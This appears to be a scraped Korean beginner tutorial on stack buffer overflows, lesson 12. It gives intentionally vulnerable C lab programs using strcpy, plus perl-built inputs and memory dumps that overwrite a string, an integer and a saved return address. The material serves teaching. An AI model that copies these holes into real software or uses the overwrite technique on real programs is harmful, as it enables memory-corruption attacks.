버퍼오버플로우-왕기초편 12. 트레이닝코스 : 메모리값변조하기 또다시재미있는실습시간이돌아왔습니다. 앞서우리는 return address 를변조하면프로그램의실행흐름을원하는메모리주소로바꿀수있다는사실을배웠습니다. 이처럼 return address 를변조하여다른주소로이동하는것

Similar documents
버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

버퍼오버플로우-왕기초편 3.c언어에서버퍼사용하기 버퍼는 임시기억공간 이라는포괄적인개념이기때문에여러곳에존재할수있습니다. 즉, CPU 에도버퍼가존재할수있으며, 하드디스크에도존재할수있고, CD- ROM 이나프린터에도존재할수있습니다. 그리고앞의예제에서보신바와같이일반프로그램에도

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

Microsoft PowerPoint - ch07 - 포인터 pm0415

untitled

금오공대 컴퓨터공학전공 강의자료

중간고사

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

Microsoft PowerPoint - chap03-변수와데이터형.pptx

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap06-2pointer.ppt

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

금오공대 컴퓨터공학전공 강의자료

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - [2009] 02.pptx

11장 포인터

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

OCW_C언어 기초

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

Microsoft PowerPoint - C프로그래밍-chap03.ppt [호환 모드]

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Chapter_06

vi 사용법

PowerPoint 프레젠테이션

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

PowerPoint Presentation

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

Microsoft PowerPoint - 제11장 포인터

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

슬라이드 1

PowerPoint 프레젠테이션

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

WS12. Security

슬라이드 1

PowerPoint 프레젠테이션

강의10

PowerPoint Template

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

OCW_C언어 기초

10 강. 쉘스크립트 l 쉘스크립트 Ÿ 쉘은명령어들을연속적으로실행하는인터프리터환경을제공 Ÿ 쉘스크립트는제어문과변수선언등이가능하며프로그래밍언어와유사 Ÿ 프로그래밍언어와스크립트언어 -프로그래밍언어를사용하는경우소스코드를컴파일하여실행가능한파일로만들어야함 -일반적으로실행파일은다

Microsoft PowerPoint - chap04-연산자.pptx

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

BMP 파일 처리

프로그래밍개론및실습 2015 년 2 학기프로그래밍개론및실습과목으로본내용은강의교재인생능출판사, 두근두근 C 언어수업, 천인국지음을발췌수정하였음

강의 개요

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

Microsoft PowerPoint - chap06-1Array.ppt

PowerPoint Presentation

03 상수, 변수, 자료형

Microsoft PowerPoint - 제11장 포인터(강의)

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

C# Programming Guide - Types

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Return-to-libc

C 프로그래밊 개요

제1장 Unix란 무엇인가?

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)-

Microsoft PowerPoint - chap12-고급기능.pptx

PowerPoint Presentation

PowerPoint Presentation

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D>

PowerPoint Presentation

ch15

<4D F736F F F696E74202D20C1A63134C0E520C6F7C0CEC5CD5FC8B0BFEB>

03장.스택.key

Microsoft PowerPoint - chap05-제어문.pptx

PowerPoint 프레젠테이션

Microsoft PowerPoint - C++ 5 .pptx

Lab 3. 실습문제 (Single linked list)_해답.hwp

2009년 상반기 사업계획

PowerPoint Template

지도상 유의점 m 학생들이 어려워하는 낱말이 있으므로 자세히 설명해주도록 한다. m 버튼을 무리하게 조작하면 고장이 날 위험이 있으므로 수업 시작 부분에서 주의를 준다. m 활동지를 보고 어려워하는 학생에게는 영상자료를 접속하도록 안내한다. 평가 평가 유형 자기 평가

PowerPoint 프레젠테이션

2009년 상반기 사업계획

PowerPoint 프레젠테이션

설계란 무엇인가?

Infinity(∞) Strategy

Microsoft PowerPoint - 7장 배열 pptx

Multi-pass Sieve를 이용한 한국어 상호참조해결 반-자동 태깅 도구

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

untitled

문서의 제목 나눔명조R, 40pt

Microsoft PowerPoint - 03_(C_Programming)_(Korean)_Pointers


Microsoft PowerPoint - additional01.ppt [호환 모드]

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

KNK_C_05_Pointers_Arrays_structures_summary_v02

Microsoft PowerPoint - 2장 변수와 자료형 pptx

Microsoft PowerPoint - chap11-포인터의활용.pptx

fprintf(fp, "clf; clear; clc; \n"); fprintf(fp, "x = linspace(0, %d, %d)\n ", L, N); fprintf(fp, "U = [ "); for (i = 0; i <= (N - 1) ; i++) for (j = 0

<34BFF9C8A320B4DCB8E9B0EDC7D8BBF32E706466>

Transcription:

또다시재미있는실습시간이돌아왔습니다. 앞서우리는 return address 를변조하면프로그램의실행흐름을원하는메모리주소로바꿀수있다는사실을배웠습니다. 이처럼 return address 를변조하여다른주소로이동하는것을흔히 뛴다 라고표현하기도하는데요, 앞으로우리는 과연어디로뛸지 에대한고민을하게될것입니다. 그런데어디론가뛰려면우선 return address 를마음대로바꿀수있는스킬이요구됩니다. 적당한주소를찾았다고해도그값을메모리에입력하는방법을모르면소용없기때문입니다. 무엇이든기초가튼튼해야강해지는법! 이번시간엔메모리값을원하는대로바꾸는훈련을해보겠습니다. 트레이닝코스에오신것을환영합니다. 오늘여러분은어떤메모리값을제가지정하는다른값으로변조하는훈련을받게될것입니다. 첫번째훈련은버퍼오버플로우를통하여 4 바이트문자열변수 의값을변조하는것입니다. 이훈련에사용되는소스코드는다음과같습니다. 109

#include dumpcode.h./12/ex1.c int main(int argc, char *argv[]) { char target[4] = DOG ; char buffer[20] = {0, }; // 0 으로초기화 if(argc < 2) { printf( argument error\n ); exit(-1); } // dumpcode 로메모리덤프 dumpcode(buffer, 24); printf( [*] BEFORE : the value of target is %s\n\n, target); // 첫번째인자로전달된문자열을 buffer 로복사 // 여기서 buffer overflow 발생! strcpy(buffer, argv[1]); // dumpcode 로메모리덤프 dumpcode(buffer, 24); printf( [*] AFTER : the value of target is %s\n, target); } 위소스코드의위치는./12/ex1.c 입니다. 컴파일후실행을해봅시다. 110

./ex1 abc 0xbffffb20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb30 00 00 00 00 44 4f 47 00...DOG. [*] BEFORE : the value of target is DOG 0xbffffb20 61 62 63 00 00 00 00 00 00 00 00 00 00 00 00 00 abc... 0xbffffb30 00 00 00 00 44 4f 47 00...DOG. [*] AFTER : the value of target is DOG * 마찬가지로주소값은실행환경에따라달라질수있습니다. 아직은아무런변조도가하지않았기때문에초기값인 DOG 가출력되었습니다. 첫번째훈련은 target 변수에담긴 DOG 라는값을 CAT 으로바꿔보는것입니다. 앞서배운버퍼오버플로우의원리를되새기며문제를풀어보세요. 각자 vmware 이미지를부팅하여직접시도해보시고, 정답은잠시후에알려드리겠습니다.... 정답은,./ex1 AAAAAAAAAAAAAAAAAAAACAT 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 44 4f 47 00...DOG. [*] BEFORE : the value of target is DOG 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 43 41 54 00 AAAACAT. [*] AFTER : the value of target is CAT 입니다. target 변수앞에 buffer 변수가 20 바이트를차지하고있기때문에, 의미없는 A 라는값을 20 바이트를먼저입력한후, 이어서 CAT 을입력한것입니다. 111

[ 개가고양이로변하는마술!!] 첫번째훈련은쉬웠을거라생각합니다. 이제다음훈련입니다. 이번엔문자열이아닌, 4 바이트정수형변수 를다른값으로바꿔보겠습니다. 112

./12/ex2.c #include dumpcode.h int main(int argc, char *argv[]) { int target = 1234; // 이값을바꿀것입니다. char buffer[20] = {0, }; // 0으로초기화 } if(argc < 2) { printf( argument error\n ); exit(-1); } // dumpcode 로메모리덤프 dumpcode(buffer, 24); printf( [*] BEFORE : the value of target is %d\n\n, target); // buffer overflow!! strcpy(buffer, argv[1]); // dumpcode 로메모리덤프 dumpcode(buffer, 24); printf( [*] AFTER : the value of target is %d\n, target); 마찬가지로컴파일후실행을해봅시다. 113

gcc -o ex2 ex2.c./ex2 abc 0xbffffb20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb30 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb20 61 62 63 00 00 00 00 00 00 00 00 00 00 00 00 00 abc... 0xbffffb30 00 00 00 00 d2 04 00 00... [*] AFTER : the value of target is 1234 이제이 1234 라는값을 5678 로바꿔봅시다. [*] AFTER : the value of target is 5678 이라고출력되면성공한것입니다. 역시각자시도해보시고, 정답은잠시후에알려드리겠습니다. 이번훈련은쉽지않을수도있습니다.... 정답을맞히셨나요? 그렇지못하신분들중엔다음과같이시도하신분들도계실겁니다../ex2 AAAAAAAAAAAAAAAAAAAA5678 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 35 36 37 38 AAAA5678 [*] AFTER : the value of target is 943142453 943142453 이라니? 이상한숫자가나와버렸습니다. 114

왜일까요? 그이유는여러분이입력한 5678 이라는값은 숫자 가아닌 문자 이기때문입니다. 컴퓨터는같은 5 라고해도숫자와문자를엄연히구분합니다. 다음아스키코드표를보시면, 여러분이입력한문자 5678 은각각 16 진수로 0x35, 0x36, 0x37, 0x38 에해당된다는것을알수있습니다. 실제 dumpcode 의결과를봐도 target 변수의값이 35 36 37 38 로바뀐것을알수있습니다.... 0xbffffb20 41 41 41 41 35 36 37 38... AAAA5678 그리고 Little Endian 을사용하는 Intel CPU 에서 4 바이트정수값은반대방향으로저장된다고했기때문에, 메모리에저장된 35 36 37 38 의실제값은 38 37 36 35 입니다. 115

이값을계산기를이용하여 10 진수로바꿔보면.. 앞서봤던 943142453 가됩니다. 이것이바로 943142453 라는이상한숫자가나타난이유입니다. 그럼문자 5678 이아닌, 숫자 5678 를넣으려면어떻게해야할까요? 기본적으로 shell 에서우리가키보드직접명령을내리는것들은모두문자로처리됩니다. 따라서, perl 이나 python 과같은숫자표현이가능한다른프로그램의도움을받아야합니다. 116

다음은각각 perl 과 python 을이용하여 숫자 5 를표현하는방법입니다. [perl] perl -e print \x05 * -e : perl 스크립트를인자로전달 [python] python -c print \x05 * -c : python 스크립트를인자로전달 python 은상관없지만, perl 에서인자를사용할때엔 double quote 와 single quote 의순서에유의하셔야합니다. 이제이를이용하여다시한번 target 의값을 5678 로바꿔봅시다. 어? 근데또다른문제가생겼습니다. perl 이나 python 의실행결과를 ex2 프로그램의인자로전달해야한다는것입니다. 그렇다고이렇게실행할수는없는노릇입니다../ex2 AAAAAAAAAAAAAAAAAAAA perl -e print \x05 이는 perl 을실행하는게아니라 perl... 이라는문자열을인자로넘기는것이기때문입니다. 이럴때요긴하게사용되는쉘의기능은바로 `( 백쿼터혹은백틱 ) 특수문자입니다. ` 는두개의 ` 사이에들어간쉘명령의출력결과를쉘에되돌려주는역할을합니다. 다음예제를보시면딱이해가되실겁니다. 117

echo whoami whoami echo `whoami` student whoami 쉘명령의실행결과인 student 를다시쉘명령의일부로전달한것입니다. 이제이를이용하여문제를해결해보겠습니다../ex2 AAAAAAAAAAAAAAAAAAAA`perl -e print \x05 ` 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 05 00 00 00 AAAA... [*] AFTER : the value of target is 5 어떤가요? 이처럼이번엔문자 5(0x35) 가아닌, 숫자 5(0x5) 가제대로전달되었습니다. 계속해서숫자 5678 을전달해보겠습니다. 우선 10 진수 5678 이 16 진수로는무엇인지계산을해봅시다. 10 진수 5678 은 16 진수로 \x16\x2e 입니다. 마지막으로중요한것은이값을 Little Endian 형태로메모리에넣어야한다는점입니 118

다. 따라서입력값은 \x2e\x16 이되어야합니다../ex2 AAAAAAAAAAAAAAAAAAAA`perl -e print \x2e\x16 ` 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 2e 16 00 00 AAAA... [*] AFTER : the value of target is 5678 짝짝짝 ~ target 값을 5678 로바꾸는것에성공하셨습니다. 좀더완벽히습득하기위해이번엔훌륭한해커를상징하는숫자인 31337(elite->eleet->31337) 으로바꿔보세요.... 정답은, 119

./ex2 AAAAAAAAAAAAAAAAAAAA`perl -e print \x69\x7a ` 0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb20 00 00 00 00 d2 04 00 00... [*] BEFORE : the value of target is 1234 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 69 7a 00 00 AAAAiz.. [*] AFTER : the value of target is 31337 입니다. 시간이되신다면직접다른숫자를정한다음에변경하는실습도해보세요. 이제마지막트레이닝코스로넘어가겠습니다. 바로우리에게가장필요한기술인, 4 바이트 return address 를원하는주소로바꾸는훈련입니다! 120

./12/ex3.c #include dumpcode.h int main(int argc, char *argv[]) { char buffer[20] = {0, }; // 0으로초기화 int *pointer_to_ret = (int *)(buffer+24); // ret을출력하기위한포인터변수 if(argc < 2) { printf( argument error\n ); exit(-1); } // dumpcode 로메모리덤프 dumpcode(buffer, 28); printf( [*] BEFORE : the return address is 0x%08x\n\n, *pointer_to_ret); // buffer overflow!! strcpy(buffer, argv[1]); } // dumpcode 로메모리덤프 dumpcode(buffer, 28); printf( [*] AFTER : the return address is 0x%08x\n\n, *pointer_to_ret); 두번째트레이닝을잘소화했다면, 이번것도크게어렵지않을겁니다. 자, 이제 return address 를 0x12345678 로바꿔보십시오.... 정답은, 121

./ex3 AAAAAAAAAAAAAAAAAAAAAAAA`perl -e print \x78\x56\x34\x12 ` 0xbffffb14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb24 00 00 00 00 48 fb ff bf cb 09 03 40...H...@ [*] BEFORE : the return address is 0x400309cb 0xbffffb14 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb24 41 41 41 41 41 41 41 41 78 56 34 12 AAAAAAAAxV4. [*] AFTER : the return address is 0x12345678 Segmentation fault (core dumped) 입니다. Little Endian 에만유의하시면큰문제는없으셨을겁니다. 그리고 return address 가 0x12345678 이라는엉뚱한주소로바뀌었기때문에 Segmentation fault 에러메시지가나타난것을볼수있습니다. 이처럼 Segmetation falut 는 return address 가뭔가엉뚱한주소로바뀌었을때등장하는에러메시지입니다. 실제 Segmentaion fault 에러메시지는메모리주소접근에실패했을때, 즉, 할당되지않는메모리주소이거나, 접근권한 ( 읽기 / 쓰기 / 실행 ) 이충분하지않을때출력됩니다. 마지막으로 return address 를 0xdeadbeef 라는주소로바꿔봅시다. 참고로해커들은 16 진수로표현할수있는문자들을이용하여말장난하는것을좋아하는데요, 0xdeadbeef 란 16 진수로만든 죽은고기 라는뜻입니다.... 정답은, 122

./ex3 AAAAAAAAAAAAAAAAAAAAAAAA`perl -e print \xef\xbe\xad\xde ` 0xbffffb14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... 0xbffffb24 00 00 00 00 48 fb ff bf cb 09 03 40...H...@ [*] BEFORE : the return address is 0x400309cb 0xbffffb14 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb24 41 41 41 41 41 41 41 41 ef be ad de AAAAAAAA... [*] AFTER : the return address is 0xdeadbeef Segmentation fault (core dumped) 입니다. 4 바이트 16 진수를거꾸로입력하는것에아직은익숙치않으실겁니다. 제가제시한값들뿐만아니라다양한값들로바꾸는실습을통해완벽히이해해주시기바랍니다. 이렇게해서총세가지상황에대한메모리값변조훈련을해보았습니다. 이제여러분은 return address 를변조하여어디로든지뛸수있는스킬을얻게되셨습니다. 다음시간엔본격적으로 어디로뛸지 에대해생각해보겠습니다. 혹시메모리값변조방법이잘이해가가지않으셨다면, 여러번다시실습을해보시며꼭이해하고넘어가시기바랍니다. 123